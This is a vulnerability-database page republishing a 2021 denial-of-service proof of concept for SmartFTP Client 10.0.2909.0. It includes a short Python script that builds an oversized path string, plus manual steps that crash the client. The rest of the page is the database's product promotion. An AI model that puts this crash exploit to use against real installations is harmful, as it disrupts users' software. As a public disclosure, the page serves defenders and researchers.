Lucene search
K

SmartFTP Client 10.0.2909.0 Denial Of Service

🗓️ 07 Sep 2021 00:00:00Reported by Eric SalarioType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 178 Views

SmartFTP Client 10.0.2909.0 Denial Of Service exploi

Code
`# Exploit Title: SmartFTP Client 10.0.2909.0 - 'Multiple' Denial of Service  
# Date: 9/5/2021  
# Exploit Author: Eric Salario  
# Vendor Homepage: https://www.smartftp.com/en-us/  
# Software Link: https://www.smartftp.com/en-us/download  
# Version: 10.0.2909.0 (32 and 64 bit)  
# Tested on: Microsoft Windows 10 32 bit and 64 bit  
  
=========================================================================  
  
buffer = "//"  
buffer += "A" * 423  
  
f = open ("path.txt", "w")  
f.write(buffer)  
f.close()  
  
1. Run the python script  
2. Open SmartFTP > New Connection > FTPS (explicit)  
3. Enter a non existing ip the FTP server can't reach (e.g 255.255.255.255)  
4. In Path, copy paste the content of the "path.txt" generated by the python script  
5. Click "OK"  
6. SmartFTP client crashes  
  
=======================================================================  
1. Open SmartFTP > New Connection > FTPS (explicit)  
2. Enter a non existing ip the FTP server can't reach (e.g 255.255.255.255)  
3. In Path, type slash ("/") and click "OK"  
4. The app should return "Error 0x80072741"  
5. In the path's search bar, replace slash ("/") with whatever and press enter  
6. SmartFTP client crashes  
  
=======================================================================  
  
1. Open SmartFTP  
2. In the "New Connection" bar, clear the history (dropdown to the right of the bar)  
3. Once the history is empty, click the bar and type anything  
3. SmartFTP client crashes  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation